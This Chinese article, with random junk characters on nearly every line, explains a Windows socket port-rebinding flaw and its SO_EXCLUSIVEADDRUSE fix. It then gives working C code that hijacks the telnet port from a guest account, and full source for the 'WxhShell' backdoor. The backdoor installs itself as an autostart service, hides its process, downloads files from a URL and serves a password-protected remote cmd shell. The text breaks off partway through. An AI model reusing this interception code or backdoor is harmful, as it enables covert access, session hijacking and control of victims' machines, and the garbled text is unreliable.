在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
iB=v
>8l% s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
DoYzTSWx r{~@hd'Aj saddr.sin_family = AF_INET;
a' pJg< cA8"Ft{P) saddr.sin_addr.s_addr = htonl(INADDR_ANY);
B1C"F-2d ==z,vxr bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
`p.O h+rrmC 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
~>(
N<:N EN!Q]O| 这意味着什么?意味着可以进行如下的攻击:
LBkAi(0rd d^Jf(NE0Yo 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
4Nx]*\\ B-
VhUS 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Ef2#}%> [qEd`8V( 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
ee=d*) !] -ET7 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
HYkZMVH{ c!{]Z_d\ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
'n)]"G| < x==T4n/ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Wr%E}mX- N){/#3 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
32N*E, 5ma*&Q8+ #include
nd 5w|83 #include
mJ3|UClPS #include
{U,q!<@mq #include
pM^r8kIH DWORD WINAPI ClientThread(LPVOID lpParam);
#CaT0#v int main()
kZsat4r {
e I 6G WORD wVersionRequested;
9z:P#=Q: DWORD ret;
C6 XZZ WSADATA wsaData;
|Ir&C[QS{y BOOL val;
a_pNFe SOCKADDR_IN saddr;
d1`us G" SOCKADDR_IN scaddr;
B-<H8[GkG1 int err;
^nS'3g^" SOCKET s;
jd&kak SOCKET sc;
cS'|c06 int caddsize;
v/Z!Wp1LV HANDLE mt;
yE \dv)(< DWORD tid;
f~LM-7!zf} wVersionRequested = MAKEWORD( 2, 2 );
2JV,AZf err = WSAStartup( wVersionRequested, &wsaData );
{y[T3(tt if ( err != 0 ) {
"s6O|=^* printf("error!WSAStartup failed!\n");
^_cR return -1;
B[]v[q< }
tyH*epanw saddr.sin_family = AF_INET;
Z|z+[V}[ 3+%c*}KC~ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
vPV=K+1 dh~+0FZ{A saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
nI-^ saddr.sin_port = htons(23);
Qo!/n`19 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
DKjkO5R\ {
k lRS:\dW printf("error!socket failed!\n");
d `z),A= return -1;
aK%i=6j! }
Felu`@b val = TRUE;
(>OCLmV$ //SO_REUSEADDR选项就是可以实现端口重绑定的
BtyBZ8P;e if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
kO]],Vy` {
j&G*$/lTO6 printf("error!setsockopt failed!\n");
r&G=}ZMO return -1;
7h4"5GlO0 }
\&&jzU2 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
RaS7IL:e //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
`g;`yJX< //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
6QCU:2IiL {jOCz1J if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
(Ut)APM {
_$+lyea ret=GetLastError();
f$lf(brQ: printf("error!bind failed!\n");
50:$km\ return -1;
}}";)}C` }
g|W|>`> listen(s,2);
$)5F3a| while(1)
Z2yZz:.' {
m)A~1+M$)L caddsize = sizeof(scaddr);
!,mv 7Yj //接受连接请求
n]/7UH}(<& sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
A;t6duBDf/ if(sc!=INVALID_SOCKET)
?lh
`>v {
%|l^oC+E mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
,qj if(mt==NULL)
o%+8.Tx6wT {
rUX1Iu7 printf("Thread Creat Failed!\n");
D&0@k' break;
H0Q.; !^ }
&></l| hY }
cO,ELu CloseHandle(mt);
]%yph3C }
N 798(" closesocket(s);
Z:l.{3J$ WSACleanup();
P"`OuN return 0;
wG1A]OJl1 }
MPINxS DWORD WINAPI ClientThread(LPVOID lpParam)
9rr"q5[ {
;%r#pv~ SOCKET ss = (SOCKET)lpParam;
|2 2~.9S SOCKET sc;
@za X\ unsigned char buf[4096];
=='~g~ SOCKADDR_IN saddr;
0hTv0#j# long num;
wl1JKiodg DWORD val;
`!?SA<a: DWORD ret;
6{rH|Z //如果是隐藏端口应用的话,可以在此处加一些判断
#!wL0p //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
A^PCI*SN[ saddr.sin_family = AF_INET;
gl/n*s#r_ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
rz c}2I saddr.sin_port = htons(23);
8y!d ^EQ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Is~bA_-
; {
Xg|_ printf("error!socket failed!\n");
t'@1FA!)
return -1;
>b>3M' }
\29a@ 6 val = 100;
R v61*F4 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
#4. S2m4 {
k^3|A3A ret = GetLastError();
9/OB!<*V| return -1;
#t
/.fd }
KsM2?aqwf_ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
[4:_6vd7X {
|I7-7d-;/ ret = GetLastError();
HFD5*Z~M return -1;
IxwOzpr }
7dl]f#uZU if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
j%R} {
FHVZ/ e printf("error!socket connect failed!\n");
8fzmCRFH closesocket(sc);
MIPmsEdBi closesocket(ss);
pEIc?i* return -1;
=T$-idx1l }
Ug=8:a(U. while(1)
45l/)=@@B {
Ob+L|FbnN //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
(,eH*/~/ //如果是嗅探内容的话,可以再此处进行内容分析和记录
g_Wf3o857J //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
g+gHIb7{ num = recv(ss,buf,4096,0);
M$L1!o1Xf if(num>0)
*9}2Bmojv send(sc,buf,num,0);
JF]HkH_u else if(num==0)
J2_D P break;
hPt(7E2ke~ num = recv(sc,buf,4096,0);
L 0kK' n? if(num>0)
uGl+"/uDu send(ss,buf,num,0);
CMa ~BOt # else if(num==0)
cF_hU" break;
^y"Rdv }
b]hP;QK`U$ closesocket(ss);
>IO}}USm closesocket(sc);
afRUBjs return 0 ;
:`6E{yfM }
R*I{?+ uUb[Dqn z8+3/jLN0B ==========================================================
8Z%C7
"4O EeWCy5W 下边附上一个代码,,WXhSHELL
7>`QX% |S#)[83*3 ==========================================================
X"<t3l(+ M
H }4F #include "stdafx.h"
)}\T~#Q]y O`-JKZc #include <stdio.h>
aloP@U/\Sn #include <string.h>
Px:PoOw\ #include <windows.h>
CZg$I&x #include <winsock2.h>
S!o!NSn@1 #include <winsvc.h>
-8&M^- #include <urlmon.h>
;cIs$ B@dA?w.x #pragma comment (lib, "Ws2_32.lib")
/m%Y.:g #pragma comment (lib, "urlmon.lib")
'Uqz , TGu`r>N51 #define MAX_USER 100 // 最大客户端连接数
'~A~gK0 #define BUF_SOCK 200 // sock buffer
NK'awv),pM #define KEY_BUFF 255 // 输入 buffer
a%DnRkRr ZZp6@@zyq' #define REBOOT 0 // 重启
YuXq #define SHUTDOWN 1 // 关机
Yd:8iJA C0;c'4( #define DEF_PORT 5000 // 监听端口
"#^11 o8 ^'r/;(ZF*/ #define REG_LEN 16 // 注册表键长度
9r!psRA:`) #define SVC_LEN 80 // NT服务名长度
h{I)^8,M JSQNx2VqQ // 从dll定义API
?)k;.<6 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
#:v}d+ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
K1a$
m2 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
<zH24[ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
o7E?A P#bZtWx'<N // wxhshell配置信息
w$4fS struct WSCFG {
7*]O]6rP int ws_port; // 监听端口
!},_,J~(| char ws_passstr[REG_LEN]; // 口令
'ek7e.x|V int ws_autoins; // 安装标记, 1=yes 0=no
sI/Jhw) char ws_regname[REG_LEN]; // 注册表键名
B/g.bh~)q char ws_svcname[REG_LEN]; // 服务名
lO>w|=< char ws_svcdisp[SVC_LEN]; // 服务显示名
LC)-aw>- char ws_svcdesc[SVC_LEN]; // 服务描述信息
}N!I|<"/ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
s,O:l0 int ws_downexe; // 下载执行标记, 1=yes 0=no
u{maE , char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
gtWJR char ws_filenam[SVC_LEN]; // 下载后保存的文件名
,[&@? vK
z/-9im };
JlJy3L8L +G*2f
V> // default Wxhshell configuration
VeidB!GyP struct WSCFG wscfg={DEF_PORT,
#Q}`kFB` "xuhuanlingzhe",
`)$'1,]u 1,
Sb I %| "Wxhshell",
-t2bHhG "Wxhshell",
$TS4YaJ% "WxhShell Service",
Svj%O( "Wrsky Windows CmdShell Service",
X-O/&WRYQ "Please Input Your Password: ",
:r*skV| 1,
F[mL_JU
"
http://www.wrsky.com/wxhshell.exe",
zLdi "Wxhshell.exe"
`+cc{k };
=Is.T Y S )Q#fP // 消息定义模块
NrPs :` char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
3(l^{YC+[7 char *msg_ws_prompt="\n\r? for help\n\r#>";
y6tzmyg char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
zX{K\yp char *msg_ws_ext="\n\rExit.";
;L(2Ffk8 char *msg_ws_end="\n\rQuit.";
ib8@U}Vn1 char *msg_ws_boot="\n\rReboot...";
`MtI>x
c char *msg_ws_poff="\n\rShutdown...";
+ >?"P^ char *msg_ws_down="\n\rSave to ";
~LqjWU z)N8#Y~vn char *msg_ws_err="\n\rErr!";
<Uf?7 char *msg_ws_ok="\n\rOK!";
H;5Fs KIF H.#<&5f char ExeFile[MAX_PATH];
WBdC}S
}3t int nUser = 0;
uaN0X" HANDLE handles[MAX_USER];
Q^=drNV int OsIsNt;
w4w[qxV> f&x7g. I SERVICE_STATUS serviceStatus;
I[u%kir SERVICE_STATUS_HANDLE hServiceStatusHandle;
{1a%CsCM }: v&Nc // 函数声明
dNd(57 int Install(void);
;G !JKg int Uninstall(void);
QEo
i9@3 int DownloadFile(char *sURL, SOCKET wsh);
/~RY{ c@#L int Boot(int flag);
uEqL Dg void HideProc(void);
xfYDjf :< int GetOsVer(void);
3Q'Q %2 int Wxhshell(SOCKET wsl);
@AM;58. void TalkWithClient(void *cs);
_?Q0yVH;, int CmdShell(SOCKET sock);
z2:^Qg int StartFromService(void);
)xKZ)SxV int StartWxhshell(LPSTR lpCmdLine);
%dA6vHI, "tax VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
'a8{YT4 VOID WINAPI NTServiceHandler( DWORD fdwControl );
-js:R+C528 >9F&x>~ // 数据结构和表定义
3sUTdCnNf SERVICE_TABLE_ENTRY DispatchTable[] =
GZ xG!r- {
;A^Ii>` {wscfg.ws_svcname, NTServiceMain},
h+ixl#: {NULL, NULL}
,ru2C_LQ };
1nHQ)od 'vbrzI5m // 自我安装
iKs @oHW int Install(void)
A{3VTe4TV {
c;X8:Z=ja char svExeFile[MAX_PATH];
[=f(u
wY>g HKEY key;
LHit9O[_/s strcpy(svExeFile,ExeFile);
,+LX.f&/8! N$cm;G=] // 如果是win9x系统,修改注册表设为自启动
{,V .IDs8[ if(!OsIsNt) {
,ddoII if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
X9ua&T2(l RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
> J4Tk1//b RegCloseKey(key);
-B+Pl* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
b8Bf,&:ys RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
T
>BlnA RegCloseKey(key);
."HDUo2D7 return 0;
Y8$Y]2 }
zn!H&!8& }
u`K)dH, }
=rH '
\7T else {
Wd9y8z; X*4iNyIs_ // 如果是NT以上系统,安装为系统服务
t(d$v_*y51 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
,#
i@jB if (schSCManager!=0)
x?5D>M/Y {
M`_RkDmy< SC_HANDLE schService = CreateService
hDPZj#(c (
c:[z({` schSCManager,
S}mZU! wscfg.ws_svcname,
hh%fmc wscfg.ws_svcdisp,
:9nqQJ+~ SERVICE_ALL_ACCESS,
g4p-$WyT8> SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
_f^JXd,7v SERVICE_AUTO_START,
H@-txO1`:: SERVICE_ERROR_NORMAL,
">-J+ST% svExeFile,
Dm^Bk?#( NULL,
?o0ro?9j NULL,
k4@$vxy0 NULL,
_BC%98:WP NULL,
3vcKK;qCB NULL
J #ukH`|- );
7IEG%FY
T if (schService!=0)
/"Z6\T9 {
-}_X'h&" CloseServiceHandle(schService);
@
OSSqH CloseServiceHandle(schSCManager);
3izGMH_` strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
M/Twtq-`H strcat(svExeFile,wscfg.ws_svcname);
(vO\h8 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
4y:pj7h RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
j@ehcK9| RegCloseKey(key);
ftaGu-d% return 0;
KR49Y>s< }
6ct'O**k*& }
?.*^#>- CloseServiceHandle(schSCManager);
ygN4%-[XA }
w# iezo. 0 }
gG?sLgL: ulA|| return 1;
xE{PsN1 X; }
GC#s;X }{oZdO // 自我卸载
K[j~htC{I" int Uninstall(void)
CyHaFUbZ {
F4b$ HKEY key;
h?D>Dfeg% MS>QU@z7c if(!OsIsNt) {
h<1pGQV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
VGe OoS RegDeleteValue(key,wscfg.ws_regname);
btG+Ak+K* RegCloseKey(key);
$'I-z.G V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
u`ezQvrcy RegDeleteValue(key,wscfg.ws_regname);
D_)i%k\ RegCloseKey(key);
GW;\3@o return 0;
*)8!~Hs }
lx)Bj6 }
fzk^QrB }
Vw@?t(l > else {
+[lv
`tr
cYeC7l" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
rFJPeK7 if (schSCManager!=0)
I@M3u/7 {
izvwXC SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
57S!X|CE if (schService!=0)
dEvjB"x {
wG-lR,glb if(DeleteService(schService)!=0) {
^+MG"|)u~ CloseServiceHandle(schService);
\46
'j. CloseServiceHandle(schSCManager);
.@kjC4m return 0;
U;qGUqI }
YqEB%Y~N+ CloseServiceHandle(schService);
\Ctl(uj }
vMHJgpd&j CloseServiceHandle(schSCManager);
,ozgnhZY }
=[D
'3JB }
oNFvRb2Rd Ia%S=xU{= return 1;
_@/nc:)H }
OH_ m ZA GU,ztO.w3 // 从指定url下载文件
ZR*Dl.GWY int DownloadFile(char *sURL, SOCKET wsh)
`iQ9 9 {
D\LXjEme. HRESULT hr;
C?h}n4\B^? char seps[]= "/";
ui!MQk+D9 char *token;
\pwg8p[4Q char *file;
_Z0O]>KH char myURL[MAX_PATH];
;X}!;S%K char myFILE[MAX_PATH];
8w\ZY>d C8bBOC( strcpy(myURL,sURL);
)d =8)9B token=strtok(myURL,seps);
U^~jB= =] while(token!=NULL)
<ZXK}5SZ# {
8Rr ic[v file=token;
}}q_QD_ token=strtok(NULL,seps);
Pq<]`9/w^w }
^ - H 6b7SA, GetCurrentDirectory(MAX_PATH,myFILE);
U:+wt}-T" strcat(myFILE, "\\");
(d?sFwOt\ strcat(myFILE, file);
.DN)ck:e; send(wsh,myFILE,strlen(myFILE),0);
zv>7;En3 send(wsh,"...",3,0);
nm{J hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
FI=]K8 if(hr==S_OK)
NzAMX+L return 0;
}\oy%]_mY else
Sft+Gb6 return 1;
t`
f.HJe
}0f"SWO> }
-d8U Hc ~Kll. // 系统电源模块
yRtxh_wr9 int Boot(int flag)
>oasA2S {
WcZck{ehd HANDLE hToken;
n~C!PXE TOKEN_PRIVILEGES tkp;
Z+M* z; |9x H9@^f if(OsIsNt) {
oJln"-M1nx OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
q-5U,!!W/ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
=ec"G2$?" tkp.PrivilegeCount = 1;
$`'Xb tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
TZ>_N;jTZ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
k:sFI @g if(flag==REBOOT) {
G~FAChI8![ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
k*$[V17 return 0;
"&{sE RYY }
/j(3 ~%]o4 else {
K'u66%wAL if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
ZMn~QU_5 return 0;
si,W.9rU }
IuN:*P }
c@<vFoq else {
hY[Vs5v if(flag==REBOOT) {
04}" n if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
'A)r)z{X return 0;
5 4vDP 9 }
x!^u$5c else {
*fg|HH+i if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
ZgH(,g,TU return 0;
YIZ+BVa }
S3F8Chk5 }
n7*.zI]%& ML-?#jNa< return 1;
dWDM{t\}\ }
bUS"1Tg]*6 vAH `tPi> // win9x进程隐藏模块
,'z=cB`+o void HideProc(void)
FdFN4{<QZ {
b@
S. Qk h}=3u HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
.!Qo+( if ( hKernel != NULL )
H){lXR/#u {
ed:[^#Lj pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
2Pz)vnV" ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
qOi"3_ FreeLibrary(hKernel);
ux=0N]lc }
k<i#agq *!-J"h return;
>2[nTfS }
9?L,DThQ .M zAkZ= // 获取操作系统版本
/@`kM'1:
int GetOsVer(void)
E
whCX'Vaj {
B>XfsZS OSVERSIONINFO winfo;
_zF*S]9
X winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
P{ HYZg GetVersionEx(&winfo);
y)]L>o~ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
K]s*rPT/, return 1;
uE%$<o*# else
5*P+c(= return 0;
O\&[|sGY{ }
`iT{H]po &/-^D/ot // 客户端句柄模块
~]LkQQ' int Wxhshell(SOCKET wsl)
N`1W"Rx! {
>jH%n(TcC SOCKET wsh;
UD}#c:I struct sockaddr_in client;
E
Zh.*u@^r DWORD myID;
/.>8e%) G}8Zkz@+ while(nUser<MAX_USER)
I/V lH:o {
;.EW7`)Z int nSize=sizeof(client);
KYN{Dh]-} wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
G ,fh/E+ if(wsh==INVALID_SOCKET) return 1;
?Q#yf8 C0v1x=(xiM handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
LUN"p#1 if(handles[nUser]==0)
K#_x.:<J closesocket(wsh);
U\~9YX8 else
6L}}3b h nUser++;
|ryV7VJ8 }
|'ML
)`c[ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
s.qo/o\b @eOD+h' return 0;
yuA+YZ }
|18h
p yNc"E // 关闭 socket
pS6p}S=1] void CloseIt(SOCKET wsh)
OJ!=xTU%h {
DITo.PU closesocket(wsh);
RF$2p4=[ nUser--;
~>-MVp ExitThread(0);
%!X9>i> }
":!7R<t -{O>'9'1A // 客户端请求句柄
+0Z,#b void TalkWithClient(void *cs)
LfsqtQ=J` {
IF~E; B/F6WQdZ SOCKET wsh=(SOCKET)cs;
Svqj@@_f char pwd[SVC_LEN];
1~aP)q char cmd[KEY_BUFF];
kVeR{i<*( char chr[1];
=&~7Q" int i,j;
0s'h2={iI l2Pry'3 while (nUser < MAX_USER) {
s:ZYiZ- orON)Sks if(wscfg.ws_passstr) {
$s.:H4:I if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
"\`>Ll //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
,$A'Y //ZeroMemory(pwd,KEY_BUFF);
!!:mjq<0 i=0;
z&KrG while(i<SVC_LEN) {
}huFv*<@' 0(|Yy/Yq // 设置超时
Swr
8 fd_set FdRead;
CFTw=b@ struct timeval TimeOut;
kWMz;{I5*w FD_ZERO(&FdRead);
1Wr,E#+C FD_SET(wsh,&FdRead);
+S6(Fvp TimeOut.tv_sec=8;
HE|XDcYO TimeOut.tv_usec=0;
X 7R&>Pf int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
NXHe;G if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
-\[H>)z]RB s~'"&0Gz if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
OaeX:r+&Q pwd
=chr[0]; nr]:Y3KyxX
if(chr[0]==0xd || chr[0]==0xa) { |5TzRz
pwd=0; {|{;:_.>
break; "K c/Cs2[
} Rl{e<>O\^
i++; lx\9 Y 8
} s3sPj2e{
h<<uef9
// 如果是非法用户,关闭 socket ~YRG9TK
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c:I %jm
} kt2W7.A5
zvbO
q
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /Os6i&;
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H):(8/>(
`n?Rxhkwp
while(1) { _J"fgxW
IqAML|C
ZeroMemory(cmd,KEY_BUFF); Qg]+&8!*
lG5KZ[/Or
// 自动支持客户端 telnet标准 \2))c@@%
j=0; Tx>V$+al
while(j<KEY_BUFF) { 9 2x)Pc^D
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s[bQO1g;*
cmd[j]=chr[0]; +Ly@5y"
if(chr[0]==0xa || chr[0]==0xd) { U#Wg"W{
cmd[j]=0; E?-
~*T
break; r yNe=9p
} &u2H^ j
j++; |Kb
m74Z%
} p1UYkmx[
$p|Im,
// 下载文件 8b!xMFF"
if(strstr(cmd,"http://")) { <? F-v
send(wsh,msg_ws_down,strlen(msg_ws_down),0); o~7D=d?R
if(DownloadFile(cmd,wsh)) JNv@MJb}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); uJ`:@Z^J
else 0`V;;w8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ihp
Ea,v)
} z HT#bP:o
else { ,N1pw w?
lK_T%1Gz
switch(cmd[0]) { ,bzC|AK
&F:%y(;{Y
// 帮助 ,_TE@]!$
case '?': { 6of9lO:
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U+R9bn
break; sJ{r+wY
} }kG>6_p?
// 安装 EW`3$J;
case 'i': { tA]u=-_h
if(Install()) xR8y"CpE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *zQhTYY
else uFA}w:Fm
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EU
Z7?4o
break; +|Izjx]ZV
} fZoQQ[s
// 卸载 8DX5bB
case 'r': { &kcmkRRG
if(Uninstall()) &@FufpPw/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \H&;.??W
else B}nT>Ub
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PjofW%7F
break; 9oIfSr,y
} ?D|kCw69SE
// 显示 wxhshell 所在路径 Apj[z2nr
case 'p': { R13V}yL
char svExeFile[MAX_PATH]; B"
_Xst
strcpy(svExeFile,"\n\r"); 5`@yX[G
strcat(svExeFile,ExeFile); r9*6=*J|
send(wsh,svExeFile,strlen(svExeFile),0); (>,b5g
break; '
9%iHx-<
}
[aG
// 重启 -p%cw0*Y]C
case 'b': { #3tC"2MZ
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); byTHSRt
if(Boot(REBOOT)) c[T@lz(!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); VoQhzp6&
else { mN>(n+ly
closesocket(wsh); kGL3*x
ExitThread(0); $d,/(*Y#-
} rxs:)# ?A
break; ^x$1Nf
} k)[c!\a[i
// 关机 6y "]2UgQk
case 'd': { e+<|
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +~*e B
if(Boot(SHUTDOWN)) GZHJ4|DK
send(wsh,msg_ws_err,strlen(msg_ws_err),0); H:
;XU
else { sl"H!cwF
closesocket(wsh); k2.k}?w!JO
ExitThread(0);
^w&!}f+
} Z$r7Hi
break; fW[RCd
} @6%7X7m
// 获取shell 4)>S3Yr
case 's': { KfYT
CmdShell(wsh); JStEOQF4
closesocket(wsh); Gm3`/!r
ExitThread(0); mB6%. "
break; 2[j`bYNe
} us8HXvvp{
// 退出 :6u.\u
case 'x': { KfPgj
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i) Q
d>(v
CloseIt(wsh); rQ6>*0xL_
break; FD~
UF;VQ
} HuKOb4g
// 离开 3lEP:Jp
case 'q': { 3xmPY.
send(wsh,msg_ws_end,strlen(msg_ws_end),0); f! )yE`4-
closesocket(wsh); *cCj*Zr]
WSACleanup(); DO9K
exit(1); ykH@kv Qt
break; g[uf
e<
} s?&S<k-=fr
} ?<5KLvG v
} ZR"qrCSw`
IS`ADDU[S
// 提示信息 Z c#Jb
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y^U^yh_!^
} 5*Qzw[[=
} rYg%B6Fp
rz2,42H]
return; e**'[3Y
} B@*!>R
0I do_V
// shell模块句柄 *J
>6i2M,u
int CmdShell(SOCKET sock) CC'N"Xb
{ yD`pUE$
STARTUPINFO si; cS2]?zI
ZeroMemory(&si,sizeof(si)); oIMS >&
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 57]La^#
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6D`.v@
PROCESS_INFORMATION ProcessInfo; h?}S|>9
char cmdline[]="cmd"; NR-<2
e3
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l<ZHS'-;8
return 0; ?'"BX
} Fpwhyls
~r'ApeI9
// 自身启动模式 ,^<39ng
int StartFromService(void) Uyeo0B"
{ 0ia-D`^me
typedef struct -mo4`F
{ \q24E3zS&
